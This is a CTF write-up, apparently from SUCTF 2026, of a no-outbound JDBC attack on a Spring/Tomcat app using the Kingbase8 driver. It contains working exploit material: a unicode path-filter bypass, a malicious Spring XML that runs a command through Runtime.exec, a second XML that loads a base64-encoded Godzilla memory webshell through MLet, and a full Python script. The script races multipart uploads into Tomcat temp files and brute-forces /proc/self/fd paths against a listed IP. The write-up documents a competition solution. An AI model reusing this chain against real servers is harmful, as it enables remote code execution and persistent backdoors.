2026SUCTFwp
SU_jdbc-master
首先看到题目不出网,然后看jar包

这个路由会测试数据库连接,但是PathInterceptor这个类对suctf字符串进行了waf,通过unicode绕过,这里我在windows本地起这个测试一下bypass

然后注意到driver里面还有另一个jar包kingbase8.jar,webconfig类里面写了


也就是说我们是我们只要带上连接串参数ConfigurePath,指定后面的文件,就能让它加载我们指定的内容,可是题目不出网,又没有上传接口,怎么让它加载我们的文件呢,这里想到之前p神的文章:ClassPathXmlApplicationContext的不出网利用 | 离别歌
明显我们只要让配置文件里面的内容为
1
2
|
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=http://127.0.0.1:7777/poc.xml
|
指定两个参数的内容,就能跟p神的挑战一样加载恶意xml,本地准备一个弹计算器的xml测试一下
1
2
3
4
5
6
7
8
|
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="exec" factory-bean="runtime" factory-method="exec">
<constructor-arg value="calc.exe" />
</bean>
</beans>
|

确实弹计算器了,但是题目确实没有上传的地方,p神的文章提到


这里p神演示的是windows环境下的打法,我本地起docker观察一下linux的情况

也就是说linux下临时文件存在/tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*.tmp下
然后现在的问题是,我们既要上传配置文件,又要上传xml,这有俩临时文件,linux下临时文件会暂存在fd中
也就是我们先要上传恶意xml,再上传配置文件,这个时候通过竞争,再发送json去加载我们的配置文件,配置文件调用ClassPathXmlApplicationContext加载恶意xml,显然要爆fd,让请求这个json成功加载到临时文件中的配置文件
这里参考从JDBC MySQL不出网攻击到spring临时文件利用-先知社区和fastjson1.2.83(开autotype)+mysql不出网利用 – fushulingのblog

这里我跟着大佬的脚本进行测试的时候,发现了问题,我写入的临时文件在fd里面总是少掉最后一行,那我直接手动加上一行没用的数据不就行了
1
2
3
|
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*.tmp
xxxxxxxxxxxxxx
|
然后准备内存马,这里用jmg工具生成哥斯拉马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
<property name="arguments">
<list>
<value>yv66vgAAADIBCgEAWW9yZy9hcGFjaGUvc2hpcm8vY295b3RlL2ludHJvc3BlY3QvQW5ub3RhdGVkQ2xhc3NSZXNvbHZlcjY0OWE5NDMxN2E4YzQzY2JhYTI0MzI5YmJhZjM0NTU2BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEADWdldFVybFBhdHRlcm4BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAi8qCAAHAQAMZ2V0Q2xhc3NOYW1lAQBNb3JnLmFwYWNoZS5iZWFudXRpbH...(一大堆base64)</value>
</list>
</property>
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="9166"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
</beans>
|
还是没法打入内存马,这里查看docker日志发现ClassPathXmlApplicationContext加载的临时文件一直是它配置文件本身,后面调半天知道是加载的临时文件是根据字符大小来加载的,字符数小的先加载,所以通配符这里不能指定所有tmp文件
1
2
3
|
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*1.tmp
xxxxxxxxxxxxxx
|
然后这里根据出题人fushuling师傅的wp


最终得到exp,这里不知道为什么加载本地文件打不通,这里直接把payload加到脚本里,非常丑陋,但是能打通(
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
|
import socket
import threading
import time
import requests
import json
HOST = "1.95.113.59"
PORT = 10019
# HOST = "192.168.247.137"
# PORT = 8080
def cache_tmp():
a = b"""POST /api/connection/%C5%BFuctf HTTP/1.1
Host: 192.168.247.137:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx;
User-Agent: python-requests/2.32.3
Content-Length: 1999999
--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*1.tmp
xxxxxxxxxxxxxx
""".replace(
b"\n", b"\r\n"
)
s = socket.socket()
s.connect((HOST, PORT))
s.sendall(a)
time.sleep(1111111)
def cache_tmp2():
a = b"""POST /api/connection/%C5%BFuctf HTTP/1.1
Host: 192.168.247.137:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx;
User-Agent: python-requests/2.32.3
Content-Length: 1999999
--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
<property name="arguments">
<list>
<value>yv66vgAAADIBCgEAZm9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL2pzb250eXBlL2ltcGwvQXNQcm9wZXJ0eVR5cGVEZX...</value>
</list>
</property>
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="9237"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
</beans>
""".replace(
b"\n", b"\r\n"
)
s = socket.socket()
s.connect((HOST, PORT))
s.sendall(a)
time.sleep(1111111)
def exp():
url = f"http://{HOST}:{PORT}/api/connection/%C5%BFuctf"
headers = {
"Host": "127.0.0.1:8080",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"X-Authorization": "whoami",
"Content-Type": "application/json",
}
for fd in range(40, 101):
print(f"当前爆破到fd: {fd}")
named_pipe_path = f"/proc/self/fd/{fd}"
payload = {
"driver": "com.kingbase8.Driver",
"urlType": "jdbcUrl",
"jdbcUrl": f"jdbc:kingbase8:?ConfigurePath={named_pipe_path}",
}
payload_json = json.dumps(payload).encode("utf-8")
headers["Content-Length"] = str(len(payload_json))
try:
response = requests.post(url, headers=headers, data=payload_json, timeout=5)
print(response.text)
except Exception:
continue
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
time.sleep(3)
threading.Thread(target=cache_tmp).start()
time.sleep(3)
exp()
|
